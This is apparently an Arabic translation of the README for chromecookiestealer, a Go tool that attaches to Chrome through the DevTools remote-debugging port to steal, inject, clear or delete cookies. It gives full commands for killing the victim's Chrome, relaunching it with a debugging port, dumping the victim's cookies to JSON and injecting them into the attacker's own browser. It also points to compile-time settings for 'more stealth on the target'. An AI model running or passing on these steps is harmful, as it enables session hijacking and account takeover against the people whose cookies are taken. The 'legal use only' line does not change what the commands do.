
سرقة/حقن كعكات Chrome عبر بروتوكول DevTools (--remote-debugging-port).
يرتبط بكروم باستخدام بروتوكول أدوات المطور عن بُعد (Remote DevTools protocol) ويقوم بسرقة/حقن/مسح/حذف ملفات تعريف الارتباط.
مستوحى بشدة من WhiteChocolateMacademiaNut.
يتم تفريغ ملفات تعريف الارتباط ككائنات JSON باستخدام تنسيق كروم الخاص. يُستخدم نفس التنسيق لتحميل ملفات تعريف الارتباط.
للاستخدام القانوني فقط.
سرقة ملفات تعريف الارتباط للضحية:
git clone https://github.com/magisterquis/chromecookiestealer.git
cd chromecookiestealer
go build
pkill Chrome
/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --remote-debugging-port=9222 --restore-last-session # يختلف حسب الهدف
./chromecookiestealer -dump ./cookies.json
الحقن في المتصفح المحلي للمهاجم:
# ابدأ كروم بمنفذ التصحيح، كما في الأعلى.
./chromecookiestealer -clear -inject ./cookies.json
Usage: chromecookiestealer [options]
Attaches to Chrome using the Remote DevTools Protocol (--remote-debugging-port)
and, in order and as requested:
- Dumps cookies
- Clears cookies
- Injects cookies
- Deletes selected cookies
Parameters for cookies to be deleted should be represented as an array of JSON
objects with the following string fields:
name - Name of the cookies to remove.
url - If specified, deletes all the cookies with the given name where domain
and path match provided URL.
domain - If specified, deletes only cookies with the exact domain.
path - If specified, deletes only cookies with the exact path.
Filenames may also be "-" for stdin/stdout.
Options:
-chrome URL
Chrome remote debugging URL (default "ws://127.0.0.1:9222")
-clear
Clear browser cookies
-delete file
Name of file containing parameters for cookies to delete
-dump file
Name of file to which to dump stolen cookies
-inject file
Name of file containing cookies to inject
-no-summary
Don't print a summary on exit
-verbose
Enable verbose logging
يجب أن يكون go build كافياً. يمكن تعيين ما يلي في وقت الترجمة باستخدام -ldflags '-X main.Foo=bar' لمزيد من التخفي عند الهدف.
| المتغير |
|---|
لا شيء مما سبق مضبوط افتراضياً.
بروتوكول أدوات المطور في كروم (Chrome DevTools Protocol) متغير بعض الشيء. قد يكون من الضروري استخدام إصدار أحدث من مكتبات chromedp و cdproto إذا توقف هذا البرنامج عن العمل. يمكن القيام بذلك باستخدام
go get -u -v all
go mod tidy
go build
والذي قد يكون له أثر جانبي يتمثل في تعطيل كل شيء آخر.
¯\_(ツ)_/¯
| الوصف |
|---|
| DumpFile | اسم ملف لتفريغ ملفات تعريف الارتباط إليه. يستلزم -dump |
| InjectFile | اسم ملف لحقن ملفات تعريف الارتباط منه. يستلزم -inject |
| DeleteFile | اسم ملف به معاملات تصف ملفات تعريف الارتباط المراد حذفها. يستلزم -delete |
| DoClear | إذا تم تعيينه لأي قيمة، يستلزم -clear |